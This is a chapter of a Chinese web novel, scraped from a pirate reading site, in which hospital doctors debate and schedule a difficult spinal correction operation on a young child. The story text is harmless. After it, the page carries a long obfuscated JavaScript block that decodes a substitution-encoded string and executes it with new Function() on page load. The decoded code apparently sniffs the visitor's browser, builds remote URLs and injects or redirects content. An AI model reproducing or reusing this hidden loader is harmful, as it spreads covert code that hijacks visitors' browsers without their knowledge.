首页
312 三天
返回
关灯 护眼:关 字号:小

312 三天

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    有些时候,特别是一些特殊行业,可以对陌生人冷声冷面,但对自己体系内的人也不说是热情吧,最起码也会客气一点。能干医药代表,智商或许无需多高,但情商绝对要高。
    一帮子医生对孙经理不哼不哈的,他一点都不在意,一直保持着微笑的态度,也不主动去找人碰杯什么的,就是做好端茶倒水的工作,一个堂堂大区经理,能做到这一点,真的不是一般人。好多好多人,就算再苦再难,让他去低声下气,坚决不去。在这个金钱引领风骚的世界,谁对谁错呢!都没错,只要你能保证父母孩子的生活就行。什么世界和平、全球变暖,真和咱关系不大。
    张凡也在学习,接人待物,行内规矩,这全是知识都不能缺少,这就是一个完整的社会人。没有这些铺垫,想要走的远一点,可能性真的不大。但是,这里的学习也只是学习,而不是沉迷,不是舍本逐末的去追逐它,懂就行无需精通。
    巴特的各项实验室检查也都完善了。早晨查房结束,回到科室办公室,老高看着巴特的检查汇报单,沉吟了半天没说话,他也再思考,思考手术方案。愣是半天没说话,最后他放下检查单,对张凡说道:“要谨慎,这台手术真的要谨慎。咱们还是多讨论讨论一下,怎么样。”
    对于老高,张凡也没什么可顾及的。有一说一,“主任,这台手术是有点难度,但只要您和王主任帮我,问题不大。”
    “你有详细方案了吗?”
    “嗯!”
    “前路?后路?”
    “后路,前路损伤有点大。”张凡对着老高说道。
    “后路!后路难度又高了一点,这个手术真的太麻烦了,失败成功短时间内也看不出来啊。”老高盯着巴特的片子,摸着自己刮到发青的下巴。
    这台手术就这么的别扭,脊柱矫形不是骨折,到底成功了没有,一时之间看不出来的,而且如果医生的水平不高或者判断失误,随着孩子的发育生长,不仅没把畸形纠正过来,还会加剧畸形。
    “现在做手术,是这个孩子最好的机会了,岁数越大效果越差。”张凡强调了一下。
    “我知道,这样吧,先预估手术风险,然后和家属把情况谈清楚。未来的风险,目前的风险一定都要说清楚。必要的时候请儿科或者内科医生来会诊。”老高生怕张凡没经验,把该想到的都交代的清清楚楚的。
    “好的。我下午就请会诊。”
    “嗯。我去上门诊了,有事情打电话。”
    处理这些事情必须得张凡亲自去弄,其他医生说不清楚,他也不放心。而且这些事情都必须是在手术结束后才能去做的,不能因为一个病号而耽误其他病人的治疗。这也就是大家平时看到医院里的医生好像特别忙的原因。一旦有一个特殊或者病情严重的病人,医生能忙的脚不沾地。
    早晨,有一台锁骨骨折的手术,摔伤导致了骨折。碎的不是很厉害,就是一个斜型骨折,碎骨块几乎没有,就一个明显的断端。这种手术,就适合王亚男去练习。锁骨骨折,骨科医生都非常的注意,稍稍一放松,说不定就会被胸外科的医生抢走。骨科医生也不吃亏,胸外的肋骨骨折也没少抢。
    “注意,固定的时候,一定要注意下面的肺组织。不管有没有把握都要做好保护措施。”张凡当助手,但是还是把手术要注意的事项,不厌其烦的反复的强调。
    大家可能觉得好像多此一举。其实不然,医疗行业对知识的巩固非常重视,你自己不去巩固,医院帮着你巩固。三四个月一次考试,基础考试转科考试,反反复复就那点东西,永远深怕你忘记,而且成绩和你的绩效工资挂钩。
    医疗行业就是这样,只有更熟练没有最熟练。生命不息,学习考试也就永不停息。上了手术,上级就是上级,虽然张凡和王亚男都是住院医,但张凡这时候就是王亚男的上级医生。
    下午,张凡就开始了巴特的术前准备。一切都走正常程序,先请儿科医生来会诊,虽然儿科医生也没说个什么,就是在病历上写了一句:该患儿目前生命体征平稳,查脊柱明显畸形,目前状态可行相关对症治疗,如有特殊情况可联系我科,谢邀!就这么一句废话,连手术的话都不说,但就这一句废话,要是病历上不体现出来,就算是一个不合格的病历,上级找毛病的时候这就是问题,为什么没有儿科会诊?
    然后再请呼吸科、心内科的来会诊,手术越大,病历就必须越完善,就算对方是说的废话,也得把人家请过来说,这是对患者的负责也是对医生的保护。心内科会诊,来的是任丽和欧阳,老太太早就给任丽打过招呼了。
    “这种手术在市医院有没有先例?”欧阳来了,老高也得出来招呼。老太太翻着病历问道。虽然没有指名道姓的问话,但大家都知道,这是问老高呢。
    “院长,没做过。”
        r />
    “嗯,也算是拓展了科室的业务,但是我们不能激进。张凡你去把骨二科的王主任、骨三科的陈主任、手术室的麻醉主任,儿科主任、医务处的主任都请过来,正好人员都齐备,大家讨论一下。”
    “是!”张凡转头就去护士站打电话。这是个医院的特色,私人之间的事情会通过移动电话联系,公事一般都会用内部电话联系。也不知道是怎么传下来的,虽然话费也不多,而且医院还报销,可就是这样,只要是公事一般都是医院内部电话联系。
    没有几分钟老王、老陈就来了,骨科的三个科室都是算是连着的,外科大楼相连的三层都属于骨科系统。自从张凡把这个病号的片子拿给老王看过后,老王直接就迷瞪了。对其他事情也没办法上心了,天天入迷一般的看片子想手术方案,找资料,弄的都快神经奔溃了。
    人就是这样,如果这台手术是上级医院做的,或者只要不是茶素某个医生去做,老王估计也不会这么上心,但是一旦是茶素或者他熟悉的某个医生要做这个手术,他就着急了。凭什么,他能做,我老王为什么不能做呢?老头让张凡摧残的有点惨,这几天吃不好喝不好,真的是茶饭不思的再想方案。
    “人都齐了是吧。高主任你安排吧。”等其他科室的几个主任到达后,欧阳对老高说道。
    “好,张凡这个是你的病人,你给大家介绍介绍吧。”老高对着张凡说道。
    “各位领导,各位专家,三日前,我科室收入一名六岁又七月的患儿,经过检查后,诊断明确:先天性脊柱畸形混合型。实验室检查及查体符合并支持诊断。患者目前因年纪尚幼,并未出现相关并发症,但为保障及避免未来的并发症,故我科拟行脊柱畸形矫形手术给予治疗。但考虑到患儿年纪幼小,且手术时间及其术后卧床时间较长,故请各科专家会诊。”骨一科的办公室内,张凡看都没看一眼病历,站起来就说。医务处的主任在一边亲自记录,因为院长参加了。
    欧阳听完后不由自主的点了点头,然后对着在场的医生说道:“大家讨论讨论,这台手术做不做。做,如何做,不做,为什么不做。都说一下。从王亚男那边开始轮着说。”
    在场的除了骨一科的医生,其他都是专家一级别的医生,所以发言也是小医生先说。
    “患儿生命体征平稳,且诊断明确,所以我认为可以做。”王亚男说完就坐下了。
    “不用站起来,就坐着说,节省时间。”欧阳看到王亚男坐下后,又补充了一句。
    小医生也说不出来个一二三,就是简单的说一说病历里面的检查和体征。很快的到了骨三科的主任。陈琦盯着片子看了半天后,说道:“难,手术难度不小,患儿身体发育未成熟,且目前还未出现明显的症状,术后效果不好评判,是不是可以先缓一缓?”
    老陈的意思就是,患儿没症状,手术如果出现异常或者不适,该怎么办。虽然有点保守,但也不失一种老城的建议,毕竟这个是人不是物件。
    老陈说完,两个骨科主任皱了皱眉头,不过没说什么。欧阳也未可知否,心内、儿科的主任都从自身科室评估了患儿的耐受能力,是否行手术治疗确未发表明确的建议。麻醉科的主任明确指明,患儿可耐受手术麻醉后,也就发言结束了。
    轮到骨二科的主任了,老头捋了捋没多少的头发后,说道:“可做,虽然目前患儿未见明显症状,但如果行保守治疗,不出一年,绝对有明显的器质性改变,倒那时候再行手术,也只不过是亡羊补牢。而且我查阅了很多相关论文及病案,只要我们做好做全预案,是可以进行手术的。”
    “这种手术在鸟市的医院多不多?”欧阳问了一句。
    “不多,但也不能说没有。”
    “效果如果?”
    “最早的是五年前的一台类似手术,效果未知,我电话询问过上级医院的主刀医生,病号术后离开了边疆,后续回访就再未继续。”脊柱毕竟是老王的本行,所以对这些事情很清楚。
    “高主任,你说说。”欧阳听完后,对着老高说道。
    “可做,理由前面的医生都说了,我也不用赘述了。但如何做就需要商榷了。”
    张凡在介绍病情的时候就已经明确表示了手术可行,所以也不用发表意见了。欧阳直接拍板:“既然各位专家都支持手术治疗,又是骨科的疾病,还是张医生的病号。高主任、王主任,张医生,你们三个人预定一个手术方案后,上交医务处。三天时间够吗?”
    “是!”被点到名的人,不约而同的答应道。
    这就是欧阳的手段,这算是行政命令,你们吵把,反正时间我定了,三天内不管你们如何吵,必须得给我一个说法一个方案。
    “好,散会。”说完,欧阳先行出门!
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();